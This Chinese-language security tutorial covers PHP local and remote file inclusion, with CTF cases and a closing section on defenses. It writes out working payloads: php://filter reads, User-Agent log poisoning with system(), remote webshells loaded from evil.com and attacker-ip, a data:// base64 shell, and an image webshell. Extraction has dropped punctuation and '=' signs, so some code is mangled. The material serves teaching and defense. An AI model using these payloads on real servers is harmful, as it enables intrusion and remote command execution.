1. 项目概述为什么文件包含漏洞是Web安全的“必修课”在Web渗透测试和CTF竞赛的赛场上PHP文件包含漏洞File Inclusion Vulnerability是一个经久不衰的核心考点。无论是初出茅庐的安全爱好者还是经验丰富的红队成员都必须深刻理解其原理、利用手法和防御策略。这个漏洞之所以重要是因为它像一把“万能钥匙”一旦存在攻击者就可能从简单的本地文件读取LFI一路升级到危险的远程代码执行RFI最终完全控制服务器。我见过太多因为一个不起眼的include($_GET[‘page’])而全线崩溃的案例。简单来说文件包含漏洞源于PHP中include、require、include_once、require_once等函数对包含文件路径的过滤不严。攻击者可以操控这个路径参数让服务器去包含并执行非预期的文件。从读取敏感配置文件如/etc/passwd到直接执行远程服务器上的恶意脚本危害等级天差地别。近年来随着CTF赛事的普及和题目难度的提升围绕文件包含漏洞的利用技巧也层出不穷比如结合PHP伪协议、日志注入、Session文件包含、甚至是利用临时文件等这些都已经成为现代Web安全实战中的标准操作。这篇文章我将从一个实战演练的角度带你从最基础的LFI开始一步步拆解到复杂的RFI并穿插解析最新的CTF实战案例。我的目标不是让你成为只会用工具的“脚本小子”而是真正理解每一次点击、每一条命令背后的逻辑知道为什么这个技巧有效以及如何从防御者的角度去堵上这些漏洞。无论你是正在入门CTF的选手还是希望提升代码审计能力的开发者相信这篇深度解析都能给你带来实实在在的收获。2. 漏洞原理深度剖析不仅仅是“包含”那么简单要打好攻防战必须先理解战场。文件包含漏洞的核心在于“信任边界”的失控。PHP的设计初衷是为了提高代码的复用性开发者可以将常用的头部、尾部、功能模块写成独立的文件然后在需要的地方包含进来。问题就出在这个“需要包含的文件路径”如果完全由用户输入控制而开发者又没有进行严格的校验那么整个文件系统的边界就对攻击者敞开了。2.1 LFI本地文件包含的根源LFI即Local File Inclusion攻击者只能包含服务器本地文件系统上的文件。它的典型代码缺陷长这样?php $page $_GET[page]; // 直接接收用户输入 include(/pages/ . $page . .php); // 拼接后直接包含 ?看起来代码似乎限定了目录/pages/和后缀.php。但如果攻击者传入page../../../etc/passwd%00呢在古老的PHP版本5.3.4中%00空字节会截断其后的字符串使得.php后缀失效从而成功包含/etc/passwd文件。这就是经典的“空字节截断”漏洞。虽然现代PHP版本已修复此问题但许多遗留系统或出题人为了“致敬经典”仍会构造此类环境。更常见的情况是代码没有任何过滤?php include($_GET[file]); ?这就意味着攻击者可以尝试包含任何路径/etc/passwd读取系统用户列表。/var/log/apache2/access.log读取Web访问日志可能包含攻击者注入的代码。/proc/self/environ包含环境变量如果其中存在用户可控的HTTP头如User-Agent则可注入代码。php://filter伪协议这才是LFI真正的“王牌”我们稍后详细讲。注意LFI的危害不仅仅是信息泄露。当它可以与文件上传、日志记录、Session存储等结合时就为代码执行打开了大门这被称为“LFI to RCE远程代码执行”。2.2 RFI远程文件包含的致命性RFI即Remote File Inclusion比LFI更危险。它允许攻击者包含远程服务器如攻击者自己控制的服务器上的文件。触发RFI需要满足一个关键条件PHP配置中的allow_url_include选项设置为On默认是Off。在CTF题目或一些老旧、配置不当的生产环境中这个条件可能被满足。漏洞代码和LFI类似?php include($_GET[url]); ?攻击者可以传入http://evil.com/shell.txt。PHP会去请求这个URL并将返回的内容当作PHP代码来执行。shell.txt里只需要写一句?php system($_GET[‘cmd’]);?一个WebShell就部署完成了。RFI的利用之所以高效是因为它分离了“攻击载荷”和“攻击入口”。攻击者无需费力在目标服务器上写入文件只需要维护一个远程的恶意脚本即可。在实战中如果看到allow_url_includeOn的提示几乎等同于宣告了服务器的“死刑”。2.3 PHP伪协议LFI的“瑞士军刀”空字节截断成为历史后PHP内置的各种伪协议Wrapper成为了LFI利用的主力军。它们不需要allow_url_include开启因为它们是“本地”的协议处理器。最常用、最强大的是php://filter。它的基本语法是php://filter/readconvert.base64-encode/resource目标文件例如?filephp://filter/readconvert.base64-encode/resourceindex.php为什么是Base64编码直接包含一个.php文件PHP引擎会执行它我们只能看到执行结果通常是空白或HTML。而通过convert.base64-encode过滤器我们可以将文件内容以Base64编码的形式读取出来解码后就能获得完整的源代码。这对于代码审计和寻找其他漏洞至关重要。除了convert.base64-encode还有其他过滤器如string.rot13、string.toupper等有时可以用于绕过简单的关键词过滤。php://input伪协议也值得一提它允许你将POST请求的原始体作为PHP代码执行但这通常需要allow_url_includeOn。理解这些协议就像拿到了文件包含漏洞的“武器库清单”。在接下来的实战环节我们会反复使用它们。3. 从LFI到RFI的实战攻防演练理论讲得再多不如亲手操作一遍。下面我们搭建一个简单的漏洞环境进行从信息泄露到完全控制的全流程演练。我建议你在本地虚拟机或Docker环境中跟随操作感受每一步的反馈。3.1 环境搭建与基础LFI利用首先我们创建一个存在漏洞的脚本vuln.php?php // vuln.php - 存在文件包含漏洞的页面 if (isset($_GET[file])) { include($_GET[file]); } else { echo 请通过file参数指定要包含的文件。; } ?把它放在你的Web服务器根目录如/var/www/html/。同时创建一个正常的页面/var/www/html/secret.php内容为?php $flag “FLAG{LFI_TEST_123}”; ?。第一步基础文件读取访问http://your-ip/vuln.php?filesecret.php你会发现页面是空白的因为secret.php被当作代码执行了$flag变量被定义但没有输出。第二步使用php://filter读取源码访问http://your-ip/vuln.php?filephp://filter/readconvert.base64-encode/resourcesecret.php页面会显示一串Base64编码PD9waHAgJGZsYWcgPSAiRkxBR3xMRklfVEVTVF8xMjMiOyA/Pg解码后可用在线工具或echo ‘编码’ | base64 -d命令得到?php $flag “FLAG{LFI_TEST_123}”; ?。成功读取源代码第三步读取系统文件尝试http://your-ip/vuln.php?file../../../../etc/passwd如果权限允许你将看到系统的用户列表。这就是敏感信息泄露。3.2 LFI到RCE的经典路径日志文件注入单纯的读取已经不能满足我们了我们要执行命令。假设服务器是Apache且日志文件默认位置可读。这是一个非常经典的技巧。找到日志路径通常为/var/log/apache2/access.log或/var/log/httpd/access_log。你可以通过LFI读取/proc/self/fd/下的文件描述符或尝试常见路径来确认。污染日志我们向服务器发送一个请求在HTTP头中注入PHP代码。因为User-Agent、Referer等头信息会被记录到访问日志中。curl -H “User-Agent: ?php system($_GET[‘c’]);?” http://your-ip/vuln.php包含日志文件现在日志文件中已经有一行包含我们的恶意代码。通过LFI去包含这个日志文件http://your-ip/vuln.php?file/var/log/apache2/access.logcid如果成功页面会显示命令id的执行结果如uid33(www-data) gid33(www-data) groups33(www-data)。实操心得日志文件通常很大直接包含可能导致超时或内存不足。一个技巧是在注入代码后立即发送大量请求例如用Burp Suite的Intruder让我们的恶意日志行出现在日志文件的末尾附近这样包含起来更快。另外注意日志文件的权限Web用户如www-data必须有读权限。3.3 RFI实战利用远程文件获取Shell现在我们修改PHP配置仅用于实验开启RFI。在php.ini中设置allow_url_include On并重启Web服务。创建一个简单的恶意脚本保存在另一台你可控的服务器上或本地用Python启动一个HTTP服务内容为?php // evil.txt 放在 http://attacker-ip/evil.txt echo “Remote File Included!\n”; system($_GET[‘cmd’]); ?在漏洞页面直接包含它http://your-ip/vuln.php?filehttp://attacker-ip/evil.txtcmdwhoami如果配置正确你将看到“Remote File Included!”和当前Web服务的运行用户信息。这意味着你已经可以通过URL参数远程执行任意命令一个功能完整的WebShell已经就绪。防御视角作为开发者看到这里应该脊背发凉。关闭allow_url_include是绝对必须的。同时任何用户输入在进入include、require函数前都必须进行白名单校验或严格的路径过滤。4. 高级利用技巧与CTF案例解析CTF题目往往不会把漏洞赤裸裸地摆在你面前它会加上各种过滤、限制需要你利用更巧妙的技巧去绕过。下面结合近年的出题趋势解析几个典型场景。4.1 案例一过滤了../和php关键字题目代码可能如下?php $file $_GET[‘file’]; if (strpos($file, ‘../’) ! false || strpos($file, ‘php’) ! false) { die(‘Hacker!’); } include($file . ‘.php’); ?它过滤了目录遍历符../和php字符串并强制添加了.php后缀。绕过思路利用编码php://filter中的php被过滤了。我们可以尝试使用大写PHP如果系统大小写不敏感或者使用URL编码%70%68%70即php的URL编码。但strpos通常是大小写敏感的。利用PHP伪协议嵌套php://filter被过滤但zip://或phar://协议可能没有被考虑。我们可以将恶意脚本压缩成ZIP包然后通过zip://archive.zip#shell.php的方式来包含。但这需要我们能上传一个ZIP文件。利用数据流php://input需要allow_url_include且其中的php也会被过滤。利用日志/Session包含如果过滤不检查/var/log或/tmp这类路径且我们能污染日志或Session依然可以走LFI to RCE的路线。更巧妙的姿势利用filter链进行编码绕过即使php被过滤我们也可以尝试其他协议。但出题人可能只允许包含.php结尾的文件。这时一个被称为“过滤器链”的技巧非常有用。我们可以利用php://filter的convert.iconv.过滤器进行字符集转换将我们想要的Payload进行多次转换最终绕过关键字检查。这需要对字符编码有较深的理解在高端CTF中时有出现。4.2 案例二ThinkPHP等框架下的文件包含在一些CTF题目或真实世界审计中你可能会遇到类似“thinkphp3.2.3 { fast simple oop php framework }”这样的提示。ThinkPHP 3.2.3版本曾存在一个因路由解析导致的文件包含漏洞。漏洞大致源于框架在解析路由时对控制器名的处理不当导致可以将\转换为/从而进行目录遍历。Payload可能形如?sIndex/\think\Template/displaycontent?php phpinfo();?。这类漏洞的特点是入口点隐蔽不是直接的include($_GET[‘file’])而是通过框架的机制触发。需要了解框架你必须知道ThinkPHP的模板引擎是如何工作的display方法可能会包含哪些文件。过滤规则复杂框架自带的过滤可能拦截了常见Payload需要找到其盲点。实战思路遇到框架先去搜索其历史漏洞。对于ThinkPHP 3.2.3这个包含漏洞是已知的。在CTF中出题人可能稍作修改但核心原理不变。你需要做的就是构造出正确的参数让框架的代码路径执行到那个有问题的包含语句上。4.3 案例三结合文件上传的图片WebShell这是非常常见的组合拳。题目允许你上传图片但会对文件内容进行检测如图片头校验防止直接上传PHP文件。同时存在一个本地文件包含点。攻击链制作一个图片WebShell在一张正常图片的末尾添加PHP代码?php system($_GET[‘c’]);?。可以使用copy命令Windows或cat命令Linux拼接。cat normal.jpg shell.php webshell.jpg上传webshell.jpg获得其存储路径如/uploads/abc123.jpg。利用文件包含漏洞去包含这个图片文件?file/uploads/abc123.jpg如果服务器配置不当如未配置exif_imagetype过滤或PHP版本较低它会直接执行图片文件末尾的PHP代码。更稳妥的方式是结合php://filter的convert.base64-decode等过滤器剥离图片数据只解码执行我们附加的Base64编码后的Payload。注意事项现代PHP环境和Web应用防火墙WAF对这种简单的图片马检测很严格。更高级的做法是将Payload隐藏在图片的EXIF信息中或者使用更复杂的图像格式混淆。在CTF中这通常考察你对文件格式和PHP执行流程的理解。5. 防御方案与安全开发实践攻防一体了解了如何攻击才能更好地防御。作为开发者必须从源头杜绝此类漏洞。5.1 输入验证白名单优于黑名单绝对不要使用黑名单过滤../、php等关键词。攻击者的绕过方法无穷无尽编码、嵌套、冷门协议。唯一可靠的方法是白名单。?php $allowed_pages [‘home’, ‘about’, ‘contact’]; $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page . ‘.php’); } else { include(‘./templates/404.php’); } ?只允许包含预定义好的文件其他任何输入都返回错误或默认页面。5.2 固定目录与后缀如果必须动态包含也应将目录固定并强制添加后缀。?php $base_dir ‘/var/www/html/includes/’; $file basename($_GET[‘file’]); // 使用basename去掉路径 $path $base_dir . $file . ‘.inc.php’; // 可选再次检查路径是否仍在安全目录内 if (strpos(realpath($path), $base_dir) 0) { include($path); } else { die(‘非法访问’); } ?这里用了basename()防止目录遍历用realpath()解析真实路径并检查其是否以安全目录开头。5.3 安全配置关掉危险选项在php.ini中进行全局安全配置allow_url_include Off永远关闭远程文件包含。allow_url_fopen Off根据业务需要决定关闭可以增加安全性。open_basedir设置PHP可以访问的目录范围将其限制在Web目录所需的最小路径内例如open_basedir /var/www/html:/tmp。display_errors Off生产环境务必关闭错误显示防止路径等敏感信息泄露。5.4 框架与安全库使用现代PHP框架如Laravel, Symfony它们有成熟的路由和视图加载机制一般不会出现这种低级的动态文件包含。如果自行开发可以考虑使用安全函数库来校验路径。5.5 代码审计与自动化扫描将安全作为开发流程的一部分。进行定期的代码审计重点关注所有包含用户输入的文件操作函数include,require,file_get_contents,fopen等。使用静态代码分析工具如phpcs配合安全规则、RIPS、Fortify SCA进行自动化扫描捕捉潜在漏洞。6. CTF实战中文件包含漏洞的解题思路总结在CTF赛场上时间就是分数。面对文件包含类题目可以遵循以下排查思路快速定位突破口确认漏洞点寻找include,require等函数其参数是否用户可控$_GET,$_POST,$_COOKIE等。判断类型尝试读取/etc/passwd或php://filter读取自身源码确认是LFI。尝试包含一个不存在的远程URL如http://test.test观察错误信息是否显示allow_url_include相关提示判断RFI可能性。探测过滤规则尝试输入各种Payload../,php://,data://,zip://,phar://,./,…/./等观察返回信息是die(‘Hacker!’)、空白还是错误以此推断后台过滤了哪些关键词或协议。寻找可利用的中间文件日志文件尝试包含/var/log/apache2/access.log并尝试污染User-Agent。Session文件如果题目有登录功能Session文件通常位于/tmp/sess_[PHPSESSID]内容可能部分可控如存储用户名。PHP临时文件在上传文件时PHP会生成临时文件生命周期极短利用条件苛刻但在一些极端CTF题目中会出现。/proc/self/environ环境变量可能包含可控的HTTP头。尝试编码绕过如果过滤了php尝试大小写、双写phphp、URL编码、Hex编码、Base64编码等。利用convert.iconv.*过滤器进行字符集转换绕过。结合其他漏洞查看是否有文件上传点上传图片马。查看是否有SSRF漏洞利用其去读取内网文件再包含。查看框架类型搜索历史漏洞。利用伪协议php://filter读源码是必选项。data://协议需allow_url_includeOn可以直接在参数中写入Base64编码的Payload如data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4。最终目标无论是读取/flag、/root/flag文件还是执行命令find / -name flag*最终都是为了获取那个唯一的Flag。文件包含漏洞的魅力在于它的多样性和与其他漏洞强大的组合能力。从最初级的目录遍历到复杂的过滤器链编码绕过它考验着攻击者对Web服务器、PHP语言特性、操作系统和编码知识的综合理解。对于防御者而言它则是一个永恒的警示永远不要信任用户输入最小化攻击面安全配置与安全编码同等重要。希望这篇近万字的深度解析能成为你Web安全实战道路上的一块坚实垫脚石。在下次遇到include($file)时你一定能立刻意识到它背后可能隐藏的腥风血雨。